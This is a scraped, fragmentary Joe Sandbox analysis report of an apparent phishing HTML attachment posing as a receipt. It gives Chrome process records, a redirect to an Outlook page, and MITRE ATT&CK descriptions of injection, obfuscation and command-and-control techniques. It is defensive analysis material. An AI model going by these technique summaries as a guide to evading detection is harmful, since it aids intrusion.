68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://www.microsoft.com/en-us/microsoft-365/outlook/email-and-calendar-software-microsoft-outlook?deeplink=%2fowa%2f&sdf=0">here</a>.</h2></body></html>

Target ID:	0
Start time:	20:08:15
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Hays eft_Receipt number N302143235953.htm"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	20:08:17
Start date:	10/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1984,i,14982997615707158117,13102304873999290162,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Hays eft_Receipt number N302143235953.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Windows Analysis Report
Hays eft_Receipt number N302143235953.htm